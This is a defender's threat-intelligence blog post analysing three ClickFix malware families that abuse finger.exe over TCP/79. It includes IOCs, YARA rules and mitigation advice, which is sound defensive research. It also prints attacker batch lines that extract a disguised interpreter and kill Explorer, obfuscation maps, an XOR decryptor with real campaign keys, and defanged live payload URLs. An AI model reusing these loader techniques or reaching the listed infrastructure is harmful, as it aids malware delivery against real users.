Post

Thirty days of finger commands: three ClickFix families, one TCP/79 delivery vector

25 finger commands over approximately 30 days, three ClickFix families, one TCP/79 delivery vector: IronPython loader, Python RAT lspy, and a pre-positioned DigitalOcean staging cluster.

Thirty days of finger commands: three ClickFix families, one TCP/79 delivery vector

The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.

TL;DR

After my earlier write-up on the spiorist[.]com chain, I got curious and pulled up to approximately 30 days of similar telemetry to see what else was using the same delivery vector. Twenty-five suspicious finger commands came back, all shaped like ClickFix lures directing victims to run finger <nonce>@<domain> from a Run dialog. Triaging every one turned up three distinct families: an IronPython loader (Family 1, 8 live delivery domains) delivering an XOR-encrypted x86 shellcode chain tied to two live C2 domains; a custom Python RAT named “lspy” (Family 2) staging over BunnyCDN and beaconing via WebSocket/TLS; and a cluster of pre-positioned DigitalOcean servers (Family 3) that never served payloads but showed active Tor-managed operator sessions. This is a follow-up to my earlier write-up on the spiorist.com chain - expanded from one domain to 25. All analysis was static; no payloads were detonated in a controlled environment.

If this is your fleet, do these first:

  • Block outbound TCP/79 and alert on finger.exe with @ in arguments - Event ID 4688, near-zero false positive
  • Search proxy and EDR logs for 6d6d2d17-d270-59c6-8b75-df011af08e58 - Family 1 campaign GUID, near-zero expected false positive rate
  • Search for mutex MerlinMonroeBlond and named pipe \\.\pipe\PipingMet - Family 2 near-zero FP indicators
  • Block interpreter execution from user-writable paths via Application Control - blocks both families at the interpreter stage

Full IOCs and detection rules at the bottom.

Thirty days of finger commands

In May I wrote up a ClickFix chain using finger.exe to deliver a seven-stage IronPython loader through a domain called spiorist[.]com. The post covered the chain in detail - batch loader, Cyrillic-obfuscated Python, XOR shellcode running inside the IronPython interpreter’s address space. I thought it was interesting enough to write up, but I expected it to be a one-off.

It wasn’t. After that post went up I got curious and pulled up to approximately 30 days of similar telemetry to see if anything else was using the same delivery vector. Twenty-five suspicious finger commands came back, all with the same pattern — finger <nonce>@<domain> from a Run dialog, consistent with ClickFix social engineering — but across entirely different domains. I triaged all 25.

What came back was three distinct families operating over the same delivery vector. That’s the part I didn’t expect.

One thing to be clear about up front: this entire investigation was static. No payloads were detonated in a sandbox or controlled Windows environment. Where I describe the Family 1 chain ending in “an encrypted MSI installer”, I mean that’s as far as static analysis takes it. The ~297 KB encrypted blob at stage 4 requires the runtime decryption key to open, which means the final payload is unknown. I’ve noted the static analysis boundary everywhere it matters.

Defender quick reference

FieldDetails
Activity typeMulti-family ClickFix campaign; finger.exe LOLBin delivery; IronPython loader + x86 shellcode (Family 1); custom Python RAT with WebSocket C2 (Family 2); pre-positioned staging infrastructure (Family 3)
Primary artifactsfinger.exe with @ in args; %LocalAppData%\IronPython.3.4.2\; C:\ProgramData\lspy\; mutex MerlinMonroeBlond; pipe \\.\pipe\PipingMet; GUID 6d6d2d17-d270-59c6-8b75-df011af08e58; C2s youndor[.]com, noidoret[.]com, staruxasosiska[.]com
VerdictMalicious
ConfidenceHigh - all stages decoded statically; shellcode disassembled; Family 2 RAT payload fully recovered; 8 live delivery domains served active payloads at triage
Key logsEvent ID 4688 (finger.exe, taskkill, tar.exe, cmd.exe chains); Sysmon 1/3/11/17/18; firewall/proxy for outbound TCP/79; proxy logs for campaign GUID in HTTP paths
ATT&CKT1204.002, T1059.003, T1059.006, T1218, T1036, T1027, T1562.001, T1547.001, T1071.001, T1573.001, T1105, T1055
First defender actionsBlock outbound TCP/79; alert on finger.exe execution (4688); search for campaign GUID; Application Control on interpreter execution from user-writable paths
Detection opportunitiesGUID 6d6d2d17-d270-59c6-8b75-df011af08e58 in proxy logs; mutex MerlinMonroeBlond; pipe \\.\pipe\PipingMet; directory %LocalAppData%\IronPython.3.4.2\; pythonw.exe in C:\ProgramData\ spawned by powershell.exe
False-positive notesNo false positives identified in the campaign IOC set.

The attack at a glance

Family 1 (IronPython / MSI dropper - 8 live delivery domains):

  1. Initial access - ClickFix social engineering; victim pastes finger <nonce>@<domain> into Run dialog
  2. Stage 1 - Finger server returns a 115-line batch script (first 80 lines blank as anti-scroll padding); renames curl.exe to a random .com file, kills Explorer, downloads IronPython 3.4.2 from GitHub as a .pdf, extracts with tar.exe, renames ipyw32.exe
  3. Stage 2 - IronPython runs an inline zlib+base64+UTF-32 Python stager that fetches obfuscated Python from a GUID-keyed C2 URL
  4. Stage 3 - C2 Python uses Cyrillic character substitution to hide base64; once decoded, XOR-decrypts 8,912 bytes of x86 shellcode and executes from executable heap memory inside the IronPython process
  5. Stage 4 - Shellcode downloads ~297 KB encrypted payload from C2 (static analysis boundary - payload not recovered)

Family 2 (Python RAT “lspy” - 1 confirmed delivery domain):

  1. Initial access - Same ClickFix pattern; finger response is plaintext PowerShell with no batch obfuscation
  2. Stage 1 - PowerShell downloads a 16 MB ZIP from BunnyCDN; extracts portable Python 3.10 plus two ChaCha20-encrypted .pyc files to C:\ProgramData\lspy\
  3. Stage 2 - pythonw.exe install.pyc runs windowless; creates a Startup LNK for persistence; beacons to staruxasosiska[.]com:443 over WebSocket/TLS

Family 3 (linked* staging cluster - 6 domains, no payloads served):

  • Six “linked*” branded DigitalOcean VPSes had active finger daemons but returned no payloads during the triage window
  • Blank finger queries disclosed SSH sessions originating from Tor exit nodes, logged in within 30-72 minutes of domain registration on multiple servers

How it works

Family 1 - the batch loader

Family 1 is a direct continuation of the spiorist[.]com campaign. The same batch template runs across 13 delivery domains, rotating only variable names, finger nonces, and XOR keys per domain. Five strings appear unchanged across every batch script - these are the detection anchors:

  1. tar -xf "...pdf" - extracting the IronPython archive disguised as a .pdf file
  2. rename ... net462\ipyw32.exe - renaming the interpreter executable to a random filename
  3. taskkill /f /fi "IMAGENAME eq explor*" - killing Explorer mid-install
  4. The string IronPython.3.4.2 - present in the directory name, the GitHub download URL, and the version constant
  5. .decode('utf-32') - the encoding method used in the IronPython -c inline argument

In the batch script, items 1-3 look like this:

1
2
3
call tar -xf "%IRONPY_DIR%.pdf" -C "%IRONPY_DIR%"
call rename "%IRONPY_DIR%\net462\ipyw32.exe" "%RENAMED_EXE%"
call taskkill /f /fi "IMAGENAME eq explor*"

The three LOLBin moves - curl.exe renamed to a .com file, IronPython zip saved as .pdf and extracted by tar.exe, ipyw32.exe renamed to a random filename - are the same as the spiorist[.]com chain. The taskkill /f /fi "IMAGENAME eq explor*" is worth noting: killing Explorer removes the taskbar, disrupts shell-extension tooling during install, and is immediately reversed by start explorer at the end. The victim sees a brief screen flicker.

This chain is part of the broader pattern of LOLBin and living-off-the-land tradecraft where Microsoft-signed inbox binaries are repurposed to stage or execute malware - here, finger.exe, curl.exe, tar.exe, and IronPython back to back.

Family 1 - the Cyrillic trick and the shellcode

Stage 2 is the interesting part. The Python returned from the C2 contains what looks like a base64 blob - but paste it into a decoder and it fails. The reason: nine ASCII characters that would appear in valid base64 have been swapped out for visually similar Cyrillic code points. The blob looks like base64, the glyphs mostly look like ASCII on a quick scan, but the underlying code points are wrong.

There are two substitution mappings, one per C2 domain:

1
2
3
4
5
6
7
8
9
10
11
12
13
# version7 / youndor[.]com -- Cyrillic char : ASCII char it replaces
cyrillic_map_A = {
    'с': 'l', 'а': '3', 'Ш': '5',
    'Р': 'H', 'Х': 'i', 'ц': '6',
    'ж': 'g', 'У': 'u', 'Л': '7',
}

# version2 / noidoret[.]com
cyrillic_map_B = {
    'о': '6', 'С': 'd', 'В': 'C',
    'М': 'e', 'б': 'U', 'и': 'V',
    'Ё': 'u', 'Н': '9', 'т': 'S',
}

Apply the right mapping to swap every Cyrillic code point back to its ASCII equivalent, and the blob becomes valid base64. Decode that, and you get the XOR decryption function plus the shellcode ciphertext:

1
2
3
4
5
6
7
8
def xor_decrypt(data, key):
    return bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))

# version7 / youndor[.]com path - 21-byte key
key_a = bytes.fromhex("70ce4f76a39b315cbc1ee201e9dc8d87cc21436ce3")

# version2 / noidoret[.]com path - 13-byte key
key_b = bytes.fromhex("a1c087fef519eaa493786a4661")

Two XOR key variants map neatly to the two C2 domains. Every delivery domain routes through one or the other. The highest-fidelity signal in the whole chain is the campaign GUID embedded in the C2 URL path: 6d6d2d17-d270-59c6-8b75-df011af08e58. That string appears verbatim across every delivery domain and both C2 endpoints, in both the stage 2 download URL and the shellcode’s hardcoded callback path. If it appears in your proxy logs, a victim reached stage 2.

The shellcode uses HeapCreate(0x00040000) to allocate executable heap memory, copies itself in via RtlMoveMemory, and executes through a ctypes function pointer. No new process spawns. The shellcode runs inside the IronPython interpreter.

Family 2 - the Python RAT

Family 2 is a separate operation. The finger response is four lines of PowerShell with no batch obfuscation: download a ZIP from BunnyCDN (hxxps://valval-cloud[.]b-cdn[.]net/build.zip, 16 MB), extract to C:\ProgramData\lspy\, run pythonw.exe install.pyc windowless, create a Startup LNK for persistence. Clean compared to Family 1.

The .pyc files are ChaCha20-encrypted with the key and nonce hardcoded as integer constants in the bytecode. Once decrypted, the RAT is ~32 KB of Python using ctypes Win32 bindings:

1
2
3
4
# High-fidelity indicators from the decrypted RAT source
mutex = ctypes.windll.kernel32.CreateMutexW(None, True, "MerlinMonroeBlond")
pipe  = "\\\\.\\pipe\\PipingMet"   # named pipe for in-memory shellcode delivery
AUTH  = b"1n9YT@Kia!enROr="        # 16-byte XOR auth key; confirmed shared across builds

The auth key is confirmed shared across two delivery domains - that’s the cross-sample clustering signal for Family 2. The C2 was live and accepting connections at triage time. Any host that ran the wegrefamou[.]com finger command may be under active control.

Worth noting: the operator’s development path is baked into every compiled .pyc file: C:\Bot\projects\LOADER\PS_PythonLOADER\Piton10\memchacharunpy.py. “Piton” is Russian for Python. Alongside the Cyrillic substitution technique in Family 1, these are data points - worth noting, not worth concluding from.

Family 3 - the staging cluster

Six “linked*” branded domains (linkedngo, linked4x, linkedwiz, linkedlet, ilinkedx, claudefos) all resolve their finger subdomains to DigitalOcean AS14061 New Jersey VPSes. None served payloads during the triage window - blank user queries returned “no such user”.

The interesting part is the operator tradecraft. A blank finger query against a standard Unix fingerd discloses logged-in users. Across three of these servers I found SSH sessions originating from Tor exit nodes, with login timestamps within 30-72 minutes of domain registration. One server (linkedwiz[.]com) had a session that had not gone idle at triage time. The operator configures servers through Tor, then goes quiet and waits.

These are either pre-positioned infrastructure waiting for a campaign trigger, or the provisioned usernames were burned before I reached them.

Techniques observed (MITRE ATT&CK)

The following techniques have been mapped to MITRE ATT&CK for future reference.

TacticTechniqueATT&CK IDWhat it did here
Initial AccessUser Execution: Malicious LinkT1204.002ClickFix social engineering; victim pastes finger command into Run dialog
ExecutionWindows Command ShellT1059.003Batch loader in finger Plan: field (Family 1)
ExecutionPythonT1059.006IronPython stager (Family 1); Python RAT and dropper (Family 2)
ExecutionSystem Binary Proxy ExecutionT1218finger.exe as dropper; tar.exe extracting .pdf archive; pythonw.exe running .pyc files
Defense EvasionMasqueradingT1036curl.exe renamed to .com file; IronPython zip saved as .pdf extension
Defense EvasionObfuscated Files or InformationT1027Cyrillic character substitution (Family 1); zlib+base64+UTF-32; ChaCha20 .pyc encryption (Family 2)
Defense EvasionImpair Defenses: Disable or Modify ToolsT1562.001taskkill on explorer.exe during install; immediately restarted
PersistenceBoot or Logon Autostart: Startup FolderT1547.001Python_*.lnk in Startup folder (Family 2)
Command and ControlApplication Layer Protocol: Web ProtocolsT1071.001HTTPS payload staging; WebSocket over TLS (Family 2)
Command and ControlEncrypted Channel: Symmetric CryptographyT1573.001ChaCha20 payload decryption; TLS WebSocket C2 (Family 2)
Command and ControlIngress Tool TransferT1105IronPython 3.4.2 from GitHub; build.zip from BunnyCDN (Family 2)
ExecutionProcess InjectionT1055Shellcode in executable heap (HeapCreate + RtlMoveMemory + CFUNCTYPE) inside IronPython process

Why this matters

Family 1 is an active, maintained campaign. Thirteen delivery domains registered across seven weeks, two live C2 domains, per-domain key rotation, and a single campaign GUID linking every sample to the same build system. The final payload could not be recovered statically - the ~297 KB encrypted blob at stage 4 requires runtime decryption. What the shellcode does confirm is a UAC elevation step via ShellExecuteA verb="runas", suggesting the final installer wants elevated privileges. The infrastructure investment points to a real objective.

Family 2 is clearer: a full-featured remote access tool with interactive shell, in-memory shellcode delivery, file drop-and-execute, and self-deletion. The C2 was live at triage time.

Neither family has been attributed to a known named group. There are cultural indicators worth noting alongside the technical evidence - Cyrillic substitution as an obfuscation technique, a Russian word for Python in the operator’s dev path, a palindromic domain name with a Slavic first name - but those are data points, not a conclusion.

What defenders can do

Technique (ATT&CK)What to doEssential EightWhat to hunt for
finger.exe delivery (T1218)Block outbound TCP/79 at perimeter; block finger.exe via Application ControlApplication Control; no direct E8 home for TCP/79 egress blockEvent ID 4688 for finger.exe execution; firewall logs for outbound TCP/79
Batch/cmd loader (T1059.003)Application Control restricting cmd.exe spawned from unusual parentsApplication ControlEvent ID 4688: cmd.exe with taskkill, IMAGENAME eq explor*, or tar.exe *.pdf in a short window
IronPython LOLBin (T1218 + T1059.006)Application Control on ipyw32.exe and renamed copies; deny execution from %LocalAppData%Application ControlDirectory creation %LocalAppData%\IronPython.3.4.2\; tar.exe extracting .pdf files; any process from %LocalAppData%\IronPython.*\net462\
Python RAT via pythonw.exe (T1059.006)Application Control blocking pythonw.exe outside approved locations; deny from C:\ProgramData\Application ControlSysmon Event ID 1: pythonw.exe in C:\ProgramData\ spawned by powershell.exe
Startup LNK persistence (T1547.001)Application Control still blocks the payload at execution even if the LNK landsApplication ControlSysmon Event ID 11: file creation in Startup folder matching Python_*.lnk
WebSocket/TLS C2 (T1071.001 + T1573.001)Proxy with TLS inspection; DNS reputation filtering for recently-registered domainsNo direct E8 home - network architectureWebSocket upgrade requests from pythonw.exe; outbound port 443 from C:\ProgramData\ processes
In-memory shellcode (T1055)Application Control on the interpreter process is the practical chokepoint; no direct E8 home for in-memory injection itselfApplication Control (at interpreter layer)HeapCreate with execute flag followed by RtlMoveMemory from a script interpreter process; Sysmon Event ID 10

Block outbound TCP/79

This is the single highest-impact control for all three families. finger.exe has no legitimate enterprise use case I can think of. Blocking outbound TCP/79 at the perimeter and alerting on any finger.exe process creation with @ in the arguments costs essentially nothing - Event ID 4688 for finger.exe fires approximately never in a healthy environment. TCP/79 egress blocking falls under egress filtering in the broader 37-strategy set covered by Strategies to Mitigate Cyber Security Incidents - Mitigation Details; it does not map cleanly to one of the Essential Eight, but it is the highest-leverage one-liner in this post.

Implementing Application Control (November 2023) is the right companion: a deny rule on finger.exe execution via WDAC or AppLocker cuts the chain at stage zero regardless of firewall state.

Application Control for the interpreter chain

Both Family 1 and Family 2 need to land an interpreter in a user-writable directory and execute it. Application Control blocks ipyw32.exe or any renamed copy from running under %LocalAppData%, and blocks pythonw.exe from running under C:\ProgramData\lspy\. The malware cannot pre-whitelist the drop path because it varies per victim. Even a basic path-based rule creates friction the chain cannot easily work around.

For Family 2’s PowerShell dropper, PowerShell Constrained Language Mode strips the System.IO.Compression surface the dropper uses to extract the ZIP. See Securing PowerShell in the Enterprise (October 2021) for the relevant policy settings.

Hunt on the GUID first

Search proxy and EDR logs for 6d6d2d17-d270-59c6-8b75-df011af08e58. This string appears verbatim in the HTTP path every time a Family 1 victim reaches the C2, across all eight delivery domains and both C2 endpoints. The expected false positive rate in any production environment is near-zero. A hit means a victim made it past stage 2 and the ~297 KB encrypted payload was likely downloaded. For Family 2, MerlinMonroeBlond as a mutex and \\.\pipe\PipingMet as a named pipe are the equivalent zero-FP indicators.

Hunting and detection summary

  • Outbound TCP/79 - firewall or proxy logs; alert immediately; block where possible
  • finger.exe process creation with @ in command line - Event ID 4688, near-zero FP in enterprise
  • Campaign GUID in HTTP proxy logs - 6d6d2d17-d270-59c6-8b75-df011af08e58 - near-zero expected FP
  • Directory creation %LocalAppData%\IronPython.3.4.2\ - Sysmon Event ID 11
  • tar.exe extracting a .pdf file - Event ID 4688 for tar.exe with .pdf in arguments
  • taskkill.exe with IMAGENAME eq explor* - unusual pattern; high-signal Family 1 tell
  • pythonw.exe in C:\ProgramData\ spawned by powershell.exe - Sysmon Event ID 1
  • Startup LNK matching Python_*.lnk - Sysmon Event ID 11 on Startup folder path
  • Mutex MerlinMonroeBlond - Sysmon Event ID 17/18 or EDR memory scan; near-zero FP
  • Named pipe \\.\pipe\PipingMet - Sysmon Event ID 17/18; near-zero FP
  • Chrome/143.0.0.0 in User-Agent - not a real Chrome release; Family 1 shellcode hardcoded UA
  • WebSocket upgrade from pythonw.exe - network flow analysis on port 443

The YARA rules, Sigma detections, KQL queries, and IOC list for this campaign are also available in the companion detection repo.

Indicators of Compromise

Family 1 - IronPython / MSI dropper

TypeIndicatorNotes
Domain (delivery)leafdusts[.]comLive at triage; Cogent IP 38[.]110[.]228[.]223
Domain (delivery)healotod[.]comLive at triage; Cogent IP 38[.]110[.]228[.]157
Domain (delivery)griontera[.]comLive at triage; Cogent IP 38[.]110[.]228[.]124
Domain (delivery)swndoin[.]comLive at triage; IP 23[.]27[.]180[.]166
Domain (delivery)gioltan[.]comLive at triage; IP 23[.]27[.]180[.]164
Domain (delivery)violonq[.]comLive at triage; IP 185[.]233[.]166[.]58
Domain (delivery)quntont[.]comLive at triage; IP 185[.]233[.]166[.]162
Domain (delivery)artdeniart[.]comLive at triage; IP 155[.]117[.]20[.]171
Domain (monitor)glorrpotte[.]comNXDOMAIN at triage; confirmed campaign infra
Domain (monitor)voliorer[.]comNXDOMAIN at triage; confirmed campaign infra
Domain (monitor)loipolo[.]comNXDOMAIN at triage; confirmed campaign infra
Domain (monitor)koilonda[.]comNXDOMAIN at triage; cluster by naming pattern only
Domain (monitor)swidont[.]comNXDOMAIN at triage; anagram of swndoin[.]com
Domain (C2)youndor[.]comActive C2; IP 38[.]146[.]25[.]181 (Cogent)
Domain (C2)noidoret[.]comActive C2; IP 50[.]114[.]167[.]195 (IPXO)
IP38[.]110[.]228[.]223leafdusts[.]com; Cogent /24 cluster
IP38[.]110[.]228[.]157healotod[.]com; Cogent /24 cluster
IP38[.]110[.]228[.]124griontera[.]com; Cogent /24 cluster
IP23[.]27[.]180[.]166swndoin[.]com delivery
IP23[.]27[.]180[.]164gioltan[.]com delivery
IP185[.]233[.]166[.]58violonq[.]com delivery
IP185[.]233[.]166[.]162quntont[.]com delivery
IP155[.]117[.]20[.]171artdeniart[.]com; Hostinger US
IP38[.]146[.]25[.]181youndor[.]com C2; Cogent
IP50[.]114[.]167[.]195noidoret[.]com C2; IPXO
String6d6d2d17-d270-59c6-8b75-df011af08e58Campaign GUID; present in every C2 URL path; near-zero FP pivot
XOR key70ce4f76a39b315cbc1ee201e9dc8d87cc21436ce321-byte; version7/youndor[.]com path
XOR keya1c087fef519eaa493786a466113-byte; version2/noidoret[.]com path
URLhxxps://youndor[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/version7Stage 2 Python payload
URLhxxps://noidoret[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/version2Stage 2 Python payload
URLhxxps://youndor[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/callback7Encrypted stage 4 payload; 297,615 bytes
URLhxxps://noidoret[.]com/6d6d2d17-d270-59c6-8b75-df011af08e58/callback2Encrypted stage 4 payload; 297,103 bytes
SHA2562e90bc34f65407ec989ed385e051b00a56831de57ef57f95bd2e93fccfca11a8Stage 5 PE stub; identical across gioltan[.]com, violonq[.]com, swndoin[.]com
SHA256293589729fac519ab5c5eaf7250c980957c7c4c6acc6bc39bf24a0a98242d3bdStage 5 PE dropper (spiorist[.]com investigation)
Path%LocalAppData%\IronPython.3.4.2\Constant drop directory across all Family 1 samples
User-AgentChrome/143.0.0.0Not a real Chrome release; hardcoded in Family 1 shellcode

Family 2 - Python RAT (lspy)

TypeIndicatorNotes
Domain (delivery)wegrefamou[.]comLive at triage; IP 87[.]199[.]194[.]70 (VDSINA NL)
Domain (delivery, prior intel)marblecologrgr[.]comPrior intel only; shared auth key with wegrefamou[.]com
Domain (C2)staruxasosiska[.]comActive C2; IP 95[.]133[.]228[.]65 (servinga[.]com DE)
Domain (C2)starayadaet[.]comActive C2; same IP as staruxasosiska[.]com
IP87[.]199[.]194[.]70wegrefamou[.]com delivery; VDSINA NL
IP95[.]133[.]228[.]65staruxasosiska[.]com + starayadaet[.]com C2
IP103[.]216[.]220[.]9BunnyCDN edge node serving build.zip; Host Universal AU
URLhxxps://valval-cloud[.]b-cdn[.]net/build.zip16 MB RAT payload ZIP; BunnyCDN pull-zone 6019021
SHA256b1e2d43782d1e6f947eb93526b4fe4009d24d211730644f1f8a5a4e9a7597a5abuild.zip
SHA256c9ab438796cf4c720fd9129ca3b0c3b55b96849770dd9e5d8a86f9ee6923b3fdInstall.pyc (wegrefamou[.]com)
MutexMerlinMonroeBlondNear-zero FP; unique Family 2 identifier
Named pipe\\.\pipe\PipingMetIn-memory shellcode delivery channel; near-zero FP
Auth key1n9YT@Kia!enROr=16-byte C2 XOR auth; shared across confirmed Family 2 builds
PathC:\ProgramData\lspy\Family 2 RAT install directory
Startup LNK%STARTUP%\Python_*.lnkPersistence mechanism
Build pathC:\Bot\projects\LOADER\PS_PythonLOADER\Operator dev path embedded in all .pyc files

Family 3 - linked* staging infrastructure (block / monitor)

TypeIndicatorNotes
Domainlinkedngo[.]comDO AS14061 NJ 162[.]243[.]34[.]41; Tor operator observed; no payload served
Domainlinked4x[.]comDO AS14061 NJ 64[.]225[.]52[.]81; no payload served
Domainlinkedwiz[.]comDO AS14061 NJ 162[.]243[.]213[.]197; active Tor operator at triage
Domainlinkedlet[.]comDO AS14061 NJ 162[.]243[.]16[.]117; Tor operator idle 13 days
Domainilinkedx[.]comDO AS14061 NJ 162[.]243[.]82[.]232; TCP/79 filtered
Domainclaudefos[.]comDO AS14061 NJ 167[.]71[.]102[.]121; TCP/79 filtered
IP162[.]243[.]34[.]41linkedngo[.]com
IP64[.]225[.]52[.]81linked4x[.]com
IP162[.]243[.]213[.]197linkedwiz[.]com
IP162[.]243[.]16[.]117linkedlet[.]com
IP162[.]243[.]82[.]232ilinkedx[.]com
IP167[.]71[.]102[.]121claudefos[.]com

Detection rules

/*
 * ClickFix finger LOLBIN campaign -- YARA detection rules
 * Date: 2026-06-17
 * Reference: https://blueteam.cool/posts/clickfix-finger-lolbin-campaign/
 */

rule ClickFix_Family1_CampaignGUID {
    meta:
        author      = "Luke Wilkinson"
        date        = "2026-06-17"
        description = "Family 1 campaign GUID -- single highest-fidelity pivot; near-zero expected FP"
        reference   = "https://blueteam.cool/posts/clickfix-finger-lolbin-campaign/"
    strings:
        $guid = "6d6d2d17-d270-59c6-8b75-df011af08e58" ascii wide
    condition:
        $guid
}

rule ClickFix_Family1_BatchLoader {
    meta:
        author      = "Luke Wilkinson"
        date        = "2026-06-17"
        description = "Family 1: IronPython batch loader template -- five constant strings from finger Plan field"
        reference   = "https://blueteam.cool/posts/clickfix-finger-lolbin-campaign/"
    strings:
        $ironpython  = "IronPython.3.4.2" ascii wide
        $github_dl   = "IronLanguages/ironpython3/releases/download/v3.4.2" ascii wide
        $ipyw32      = "ipyw32.exe" ascii
        $explorer    = "IMAGENAME eq explor" ascii
        $utf32       = ".decode('utf-32')" ascii
    condition:
        3 of them
}

rule ClickFix_Family2_lspy_PythonRAT {
    meta:
        author      = "Luke Wilkinson"
        date        = "2026-06-17"
        description = "Family 2: lspy Python RAT -- high-fidelity strings from decrypted payload"
        reference   = "https://blueteam.cool/posts/clickfix-finger-lolbin-campaign/"
        c2          = "staruxasosiska[.]com / starayadaet[.]com"
    strings:
        $mutex      = "MerlinMonroeBlond" ascii wide
        $pipe       = "\\\\.\\pipe\\PipingMet" ascii wide
        $authkey    = "1n9YT@Kia!enROr=" ascii
        $devpath    = "memchacharunpy" ascii wide
        $c2_a       = "staruxasosiska.com" ascii wide
        $c2_b       = "starayadaet.com" ascii wide
    condition:
        any of them
}

Closing

TCP/79 is still sitting quietly on Windows machines across virtually every enterprise fleet, technically functional, practically invisible. Over 25 domains over approximately 30 days, at least two separate operator groups used it as their ClickFix delivery channel. The delivery vector is the same; the payloads diverge entirely. The single most useful thing from this investigation: block outbound TCP/79, alert on finger.exe, and search your proxy logs for that campaign GUID right now. The infrastructure is still live.

Stay curious.


On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.

References

This post is licensed under CC BY 4.0 by the author.